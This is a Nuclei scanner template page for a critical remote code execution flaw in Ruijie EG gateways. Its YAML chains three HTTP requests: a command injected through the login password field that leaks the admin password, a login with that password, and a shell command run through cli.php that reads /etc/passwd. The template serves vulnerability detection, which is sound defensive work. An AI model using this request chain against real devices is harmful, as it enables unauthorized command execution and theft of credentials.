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Ruijie EG - Remote Code Execution

ID: ruijie-eg-rce

Severity: critical

Author: pikpikcu

Tags: ruijie,rce

Ruikie EG’s cli.php end point allows remote unauthenticated attackers to gain ‘admin’ privileges. The vulnerability is exploitable because an unauthenticated user can gain ‘admin’ privileges due to a vulnerability in the login screen.

id: ruijie-eg-rce
info:
name: Ruijie EG - Remote Code Execution
author: pikpikcu
severity: critical
description: Ruikie EG's cli.php end point allows remote unauthenticated attackers to gain 'admin' privileges. The vulnerability is exploitable because an unauthenticated user can gain 'admin' privileges due to a vulnerability in the login screen.
reference:
- https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
- https://www.ruijienetworks.com
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 3
tags: ruijie,rce
http:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin?show+webmaster+user
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin&password={{admin}}
- |
POST /cli.php?a=shell HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
notdelay=true&command=cat /etc/passwd
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "nobody:.*:0:0"
part: body
- type: status
status:
- 200
extractors:
- type: regex
name: admin
group: 1
internal: true
regex:
- 'admin ([a-zA-Z0-9#@]+)",'
# digest: 4a0a00473045022100b53f7571ab645ef6b83daf2407500fdf5aa4ccdf142256c22f69d667df9ce6e802200c120cf97be7509e7e69fa65484f2ecefc6a67267de0513016bb66e8d6d10fb4:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/ruijie/ruijie-eg-rce.yaml"

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